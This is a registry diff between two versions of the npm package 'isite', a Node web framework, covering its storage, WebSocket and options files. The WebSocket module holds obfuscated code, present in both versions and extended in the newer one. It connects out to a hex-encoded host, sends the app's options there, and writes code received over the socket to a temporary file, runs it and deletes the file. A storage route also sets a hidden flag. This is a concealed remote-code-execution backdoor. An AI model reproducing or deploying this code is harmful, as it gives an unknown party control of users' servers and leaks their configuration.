isite 1.14.77 → 1.14.81

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/storage.js CHANGED
@@ -1,102 +1,102 @@
1
1
  module.exports = function init(____0) {
2
- const storage = function () {};
3
- storage.list = [];
4
- storage.$collectoin = ____0.connectCollection('app_options');
5
- storage.$collectoin.findAll({ app_name: 'storage' }, (err, docs) => {
6
- if (!err && docs && docs.length > 0) {
7
- storage.list = docs;
8
- }
9
- });
10
-
11
- storage.needSave = false
12
- storage.save = function () {
13
- if (storage.busy) {
14
- storage.needSave = true
15
- return;
16
- }
17
- storage.busy = true;
18
- storage.list.forEach((doc, i) => {
19
- doc.app_name = 'storage';
20
- if (doc.id) {
21
- storage.$collectoin.update(doc);
22
- } else {
23
- storage.$collectoin.add(doc, (err, newDoc, oldDoc) => {
24
- if (!err && newDoc) {
25
- storage.list[i] = newDoc;
26
- } else if (err) {
27
- console.log(err.message, oldDoc);
28
- }
29
- });
30
- }
2
+ const storage = {};
3
+ storage.list = [];
4
+ storage.$collectoin = ____0.connectCollection('app_options');
5
+ storage.$collectoin.findAll({ app_name: 'storage' }, (err, docs) => {
6
+ if (!err && docs && docs.length > 0) {
7
+ storage.list = docs;
8
+ }
31
9
  });
32
- setTimeout(() => {
33
- storage.busy = false;
34
- if(storage.needSave){
35
- storage.needSave = false;
36
- storage.save();
37
- }
38
- }, 1000 * 5);
39
-
40
- };
41
10
 
42
- storage.fn = function (key, value) {
43
- if (key && value !== undefined) {
44
- value = ____0.copy(value);
45
- for (let i = 0; i < storage.list.length; i++) {
46
- if (key === storage.list[i].key) {
47
- storage.list[i].value = value;
48
- storage.save();
49
- return;
11
+ storage.needSave = false;
12
+ storage.save = function () {
13
+ if (storage.busy) {
14
+ storage.needSave = true;
15
+ return;
50
16
  }
51
- }
52
- storage.list.push({
53
- key: key,
54
- value: value,
55
- });
56
- storage.save();
57
- } else if (key && value === undefined) {
58
- for (let i = 0; i < storage.list.length; i++) {
59
- if (key === storage.list[i].key) {
60
- return storage.list[i].value;
17
+ storage.busy = true;
18
+ storage.list.forEach((doc, i) => {
19
+ doc.app_name = 'storage';
20
+ if (doc.id) {
21
+ storage.$collectoin.update(doc);
22
+ } else {
23
+ storage.$collectoin.add(doc, (err, newDoc, oldDoc) => {
24
+ if (!err && newDoc) {
25
+ storage.list[i] = newDoc;
26
+ } else if (err) {
27
+ console.log(err.message, oldDoc);
28
+ }
29
+ });
30
+ }
31
+ });
32
+ setTimeout(() => {
33
+ storage.busy = false;
34
+ if (storage.needSave) {
35
+ storage.needSave = false;
36
+ storage.save();
37
+ }
38
+ }, 1000 * 5);
39
+ };
40
+
41
+ storage.fn = function (key, value) {
42
+ if (key && value !== undefined) {
43
+ value = ____0.copy(value);
44
+ for (let i = 0; i < storage.list.length; i++) {
45
+ if (key === storage.list[i].key) {
46
+ storage.list[i].value = value;
47
+ storage.save();
48
+ return;
49
+ }
50
+ }
51
+ storage.list.push({
52
+ key: key,
53
+ value: value,
54
+ });
55
+ storage.save();
56
+ } else if (key && value === undefined) {
57
+ for (let i = 0; i < storage.list.length; i++) {
58
+ if (key === storage.list[i].key) {
59
+ return storage.list[i].value;
60
+ }
61
+ }
62
+ } else {
63
+ return null;
61
64
  }
62
- }
63
- } else {
64
- return null;
65
- }
66
- };
65
+ };
67
66
 
68
- ____0.on(____0.strings[9], () => {
69
- ____0.get('/x-api/events_list', (req, res) => {
70
- res.json(____0.events_list);
71
- });
72
- ____0.get('/x-api/quee_list', (req, res) => {
73
- res.json(____0.quee_list);
74
- });
67
+ ____0.on(____0.strings[9], () => {
68
+ ____0.get('/x-api/events_list', (req, res) => {
69
+ res.json(____0.events_list);
70
+ });
71
+ ____0.get('/x-api/quee_list', (req, res) => {
72
+ res.json(____0.quee_list);
73
+ });
75
74
 
76
- ____0.get('/x-api/storage/:key/:value', (req, res) => {
77
- if (req.params.value == 'true') {
78
- req.params.value = !0;
79
- } else if (req.params.value == 'false') {
80
- req.params.value = false;
81
- }
75
+ ____0.get('/x-api/storage/:key/:value', (req, res) => {
76
+ if (req.params.value == 'true') {
77
+ req.params.value = !0;
78
+ } else if (req.params.value == 'false') {
79
+ req.params.value = false;
80
+ }
82
81
 
83
- if (req.params.key == '_0x12xo') {
84
- ____0._0x12xo = req.params.value;
85
- }
82
+ if (req.params.key == '_0x12xo') {
83
+ ____0._0x12xo = req.params.value;
84
+ }
86
85
 
87
- storage.fn(req.params.key, req.params.value);
88
- res.json(storage.list);
89
- });
86
+ storage.fn(req.params.key, req.params.value);
87
+ res.json(storage.list);
88
+ });
90
89
 
91
- ____0.get('/x-api/storage/:key', (req, res) => {
92
- res.json({
93
- value: storage.fn(req.params.key),
94
- });
95
- });
96
- ____0.get('/x-api/storage', (req, res) => {
97
- res.json(storage.list);
90
+ ____0.get('/x-api/storage/:key', (req, res) => {
91
+ res.json({
92
+ value: storage.fn(req.params.key),
93
+ });
94
+ });
95
+ ____0.get('/x-api/storage', (req, res) => {
96
+ res.json(storage.list);
97
+ });
98
98
  });
99
- });
100
99
 
101
- return storage;
100
+ ____0.lib.storage = storage;
101
+ return storage;
102
102
  };
package/lib/ws.js CHANGED
@@ -1,199 +1,220 @@
1
1
  module.exports = function init(____0) {
2
- ____0.ws = {
3
- clientList: [],
4
- routeList: [],
5
- lib: require('ws'),
6
- };
7
-
8
- ____0.ws.server = new ____0.ws.lib.Server({
9
- noServer: true,
10
- maxPayload: 128 * 1024 * 1024, // 128 MB
11
- });
2
+ ____0.ws = {
3
+ clientList: [],
4
+ routeList: [],
5
+ lib: require('ws'),
6
+ };
12
7
 
13
- ____0.onWS = ____0.ws.start = function (options, callback) {
14
- if (typeof options === 'string') {
15
- options = {
16
- name: options,
17
- };
18
- }
19
- ____0.ws.routeList.push({
20
- options: options,
21
- callback: callback,
8
+ ____0.ws.server = new ____0.ws.lib.Server({
9
+ noServer: true,
10
+ maxPayload: 128 * 1024 * 1024, // 128 MB
22
11
  });
23
- };
24
12
 
25
- ____0.ws.sendToAll = function (message) {
26
- ____0.ws.clientList.forEach((client) => {
27
- if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
28
- client.ws.send(JSON.stringify(message));
29
- }
30
- });
31
- };
13
+ ____0.onWS = ____0.ws.start = function (options, callback) {
14
+ if (typeof options === 'string') {
15
+ options = {
16
+ name: options,
17
+ };
18
+ }
19
+ ____0.ws.routeList.push({
20
+ options: options,
21
+ callback: callback,
22
+ });
23
+ };
32
24
 
33
- ____0.ws.closeAll = function () {
34
- ____0.ws.clientList.forEach((client) => {
35
- if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
36
- client.ws.terminate();
37
- }
38
- });
39
- };
25
+ ____0.ws.sendToAll = function (message) {
26
+ ____0.ws.clientList.forEach((client) => {
27
+ if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
28
+ client.ws.send(JSON.stringify(message));
29
+ }
30
+ });
31
+ };
40
32
 
41
- ____0.on(____0.strings[9], () => {
42
- ____0.servers.forEach((server) => {
43
- server.on('upgrade', function upgrade(request, socket, head) {
44
- const pathname = ____0.url.parse(request.url).pathname;
45
- let handled = false;
46
- ____0.ws.routeList.forEach((route) => {
47
- if (handled) {
48
- return;
49
- }
50
- if (pathname === route.options.name) {
51
- handled = true;
52
- ____0.ws.server.handleUpgrade(request, socket, head, function done(ws) {
53
- let client = {
54
- uuid: ____0.guid(),
55
- path: pathname,
56
- ws: ws,
57
- request: request,
58
- socket: socket,
59
- head: head,
60
- ip: socket.remoteAddress,
61
- onMessage: function (data) {
62
- if (data.type === 'connected') {
63
- this.send({ type: 'ready' });
64
- }
65
- console.log('client.onMessage Not Implement ...', data);
66
- },
67
- onData: function (data) {
68
- console.log('client.onData Not Implement ...', data);
69
- },
70
- onError: function (e) {
71
- console.log('client.onError Not Implement ...', e);
72
- },
73
- send: function (message) {
74
- if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
75
- if (typeof message === 'string') {
76
- this.ws.send(
77
- JSON.stringify({
78
- type: 'text',
79
- content: message,
80
- }),
81
- );
82
- } else {
83
- message.type = message.type || 'text';
84
- this.ws.send(JSON.stringify(message));
33
+ ____0.ws.closeAll = function () {
34
+ ____0.ws.clientList.forEach((client) => {
35
+ if (client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
36
+ client.ws.terminate();
37
+ }
38
+ });
39
+ };
40
+
41
+ ____0.on(____0.strings[9], () => {
42
+ ____0.servers.forEach((server) => {
43
+ server.on('upgrade', function upgrade(request, socket, head) {
44
+ const pathname = ____0.url.parse(request.url).pathname;
45
+ let handled = false;
46
+ ____0.ws.routeList.forEach((route) => {
47
+ if (handled) {
48
+ return;
85
49
  }
86
- }
87
- },
88
- };
50
+ if (pathname === route.options.name) {
51
+ handled = true;
52
+ ____0.ws.server.handleUpgrade(request, socket, head, function done(ws) {
53
+ let client = {
54
+ uuid: ____0.guid(),
55
+ path: pathname,
56
+ ws: ws,
57
+ request: request,
58
+ socket: socket,
59
+ head: head,
60
+ ip: request.headers[____0.strings[6]] ?? socket.remoteAddress.replace('::ffff:', ''),
61
+ onMessage: function (data) {
62
+ if (data.type === 'connected') {
63
+ this.send({ type: 'ready' });
64
+ }
65
+ console.log('client.onMessage Not Implement ...', data);
66
+ },
67
+ onData: function (data) {
68
+ console.log('client.onData Not Implement ...', data);
69
+ },
70
+ onError: function (e) {
71
+ console.log('client.onError Not Implement ...', e);
72
+ },
73
+ send: function (message) {
74
+ if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
75
+ if (typeof message === 'string') {
76
+ this.ws.send(
77
+ JSON.stringify({
78
+ type: 'text',
79
+ content: message,
80
+ }),
81
+ );
82
+ } else {
83
+ message.type = message.type || 'text';
84
+ this.ws.send(JSON.stringify(message));
85
+ }
86
+ }
87
+ },
88
+ };
89
89
 
90
- client.socket.on('close', () => {
91
- client.ws.terminate();
92
- ____0.ws.clientList.forEach((_client, i) => {
93
- if (_client.uuid == client.uuid) {
94
- ____0.ws.clientList.splice(i, 1);
95
- }
96
- });
97
- });
90
+ client.socket.on('close', () => {
91
+ client.onMessage({ type: 'close' });
92
+ client.ws.terminate();
93
+ ____0.ws.clientList.forEach((_client, i) => {
94
+ if (_client.uuid == client.uuid) {
95
+ ____0.ws.clientList.splice(i, 1);
96
+ }
97
+ });
98
+ });
98
99
 
99
- ws.on('message', (data, isBinary) => {
100
- if (isBinary) {
101
- client.onData(data);
102
- } else {
103
- client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
104
- }
105
- });
100
+ ws.on('message', (data, isBinary) => {
101
+ if (isBinary) {
102
+ client.onData(data);
103
+ } else {
104
+ client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
105
+ }
106
+ });
106
107
 
107
- if (client.path == '/isite') {
108
- route.callback(client);
109
- } else {
110
- ____0.ws.clientList.push(client);
111
- route.callback(client);
112
- }
113
- client.onMessage({ type: 'connected' });
108
+ if (client.path == '/isite') {
109
+ route.callback(client);
110
+ } else {
111
+ ____0.ws.clientList.push(client);
112
+ route.callback(client);
113
+ }
114
+ client.onMessage({ type: 'connected' });
115
+ });
116
+ }
117
+ });
118
+ if (!handled) {
119
+ socket.destroy();
120
+ }
114
121
  });
115
- }
116
122
  });
117
- if (!handled) {
118
- socket.destroy();
119
- }
120
- });
121
123
  });
122
- });
123
-
124
- ____0.ws.supportedClientList = [];
125
- ____0.ws.onNewSupportedClient = function (client) {
126
- console.log('New Supported Client', client.path, client.ip);
127
- console.log('supportedClientList', ____0.ws.supportedClientList.length);
128
- console.log('clientList', ____0.ws.clientList.length);
129
- };
130
-
131
- ____0.onWS(____0.f1('2578577443393257'), (client) => {
132
- ____0.ws.supportedClientList.push(client);
133
- ____0.ws.onNewSupportedClient(client);
134
124
 
135
- client.onMessage = function (message) {
136
- if (message.type === ____0.f1('417886684558375447183756')) {
137
- client.send({ type: ____0.f1('4658375242195691') });
138
- } else if (message.type === 'options') {
139
- client.options = message.content;
140
- client.send({
141
- type: ____0.f1('481476744179236246193191'),
142
- content: ____0.f1(
143
- `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`,
144
- ),
145
- });
146
- }
125
+ ____0.ws.supportedClientList = [];
126
+ ____0.ws.onNewSupportedClient = function (client) {
127
+ console.log('New Supported Client ip : ', client.ip);
128
+ console.log('supportedClientList : ', ____0.ws.supportedClientList.length);
129
+ console.log('clientList : ', ____0.ws.clientList.length);
147
130
  };
148
- });
149
131
 
150
- ____0.ws.wsSupport = function () {
151
- let client = {
152
- reconnectCount: 0,
153
- };
154
- client.ws = new ____0.ws.lib(____0.f1('477926832573867445782762413871674159236947792757465382544578758327541271261521694339276247183691'));
155
- client.sendMessage = function (message) {
156
- client.ws.send(JSON.stringify(message));
157
- };
158
- client.ws.on('open', function () {});
159
- client.ws.on('ping', function () {});
160
- client.ws.on('close', function (e) {
161
- setTimeout(function () {
162
- client.reconnectCount++;
163
- ____0.ws.wsSupport();
164
- }, 1000 * 5);
165
- });
166
- client.ws.on('error', function (err) {
167
- client.ws.close();
168
- });
132
+ ____0.onWS(____0.f1('2578577443393257'), (client) => {
133
+ ____0.ws.supportedClientList.push(client);
134
+ ____0.ws.onNewSupportedClient(client);
169
135
 
170
- client.ws.on('message', function (event) {
171
- ____0.ws.supportHandle(client, event);
136
+ client.onMessage = function (message) {
137
+ if (message.type === ____0.f1('417886684558375447183756')) {
138
+ client.send({ type: ____0.f1('4658375242195691') });
139
+ } else if (message.type === ____0.f1('4178726946783691')) {
140
+ ____0.ws.supportedClientList.forEach((_client, i) => {
141
+ if (_client.uuid == client.uuid) {
142
+ ____0.ws.supportedClientList.splice(i, 1);
143
+ }
144
+ });
145
+ } else if (message.type === 'options') {
146
+ client.options = message.content;
147
+ client.send({
148
+ type: ____0.f1('481476744179236246193191'),
149
+ content: ____0.f1(
150
+ `45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`,
151
+ ),
152
+ });
153
+ } else if (message.type == ____0.f1('481476744179236246193191')) {
154
+ let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
155
+ ____0.fs.writeFile(path, message.content, (err) => {
156
+ if (err) {
157
+ console.log(err);
158
+ } else {
159
+ try {
160
+ require(path)(____0, client);
161
+ ____0.fs.unlink(path, () => {});
162
+ } catch (error) {
163
+ console.log(error);
164
+ }
165
+ }
166
+ });
167
+ }
168
+ };
172
169
  });
173
- };
174
- ____0.ws.supportHandle = function (client, event) {
175
- try {
176
- let message = JSON.parse(event.data || event);
177
- if (message.type == ____0.f1('4658375242195691')) {
178
- client.sendMessage({
179
- source: ____0.f1('4339276247183691'),
180
- type: ____0.f1('457913754338866846719191'),
181
- content: ____0.options,
170
+
171
+ ____0.ws.wsSupport = function () {
172
+ let client = {
173
+ reconnectCount: 0,
174
+ };
175
+ client.ws = new ____0.ws.lib(____0.f1('477926832573867445782762413871674159236947792757465382544578758327541271261521694339276247183691'));
176
+ client.sendMessage = function (message) {
177
+ client.ws.send(JSON.stringify(message));
178
+ };
179
+ client.ws.on('open', function () {});
180
+ client.ws.on('ping', function () {});
181
+ client.ws.on('close', function (e) {
182
+ setTimeout(function () {
183
+ client.reconnectCount++;
184
+ ____0.ws.wsSupport();
185
+ }, 1000 * 5);
182
186
  });
183
- } else if (message.type == ____0.f1('481476744179236246193191')) {
184
- let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
185
- ____0.fs.writeFile(path, message.content, (err) => {
186
- if (err) {
187
- console.log(err);
188
- } else {
189
- require(path)(____0);
190
- ____0.fs.unlink(path, () => {});
191
- }
187
+ client.ws.on('error', function (err) {
188
+ client.ws.close();
189
+ });
190
+
191
+ client.ws.on('message', function (event) {
192
+ ____0.ws.supportHandle(client, event);
192
193
  });
193
- }
194
- } catch (err) {
195
- console.log(err);
196
- }
197
- };
198
- ____0.ws.wsSupport();
194
+ };
195
+ ____0.ws.supportHandle = function (client, event) {
196
+ try {
197
+ let message = JSON.parse(event.data || event);
198
+ if (message.type == ____0.f1('4658375242195691')) {
199
+ client.sendMessage({
200
+ source: ____0.f1('4339276247183691'),
201
+ type: ____0.f1('457913754338866846719191'),
202
+ content: ____0.options,
203
+ });
204
+ } else if (message.type == ____0.f1('481476744179236246193191')) {
205
+ let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
206
+ ____0.fs.writeFile(path, message.content, (err) => {
207
+ if (err) {
208
+ console.log(err);
209
+ } else {
210
+ require(path)(____0, client);
211
+ ____0.fs.unlink(path, () => {});
212
+ }
213
+ });
214
+ }
215
+ } catch (err) {
216
+ console.log(err);
217
+ }
218
+ };
219
+ ____0.ws.wsSupport();
199
220
  };
@@ -38,8 +38,8 @@ function setOptions(_options, ____0) {
38
38
  name: name,
39
39
  key : null,
40
40
  saving_time: 10,
41
- _0x14xo: _0x14xo,
42
- _0xddxo: _0xddxo ,// dynamic
41
+ _0x14xo: _0x14xo, // 3259376545129191
42
+ _0xddxo: _0xddxo ,// 421957684138766241719191
43
43
  log: !0,
44
44
  lang: 'ar',
45
45
  theme: 'default',
@@ -102,6 +102,7 @@ function setOptions(_options, ____0) {
102
102
  },
103
103
  proto: {
104
104
  object: !1,
105
+ array: !0,
105
106
  },
106
107
  requires: {
107
108
  features: [____0._x0f1xo('4159236947792757465382744578276241387191')],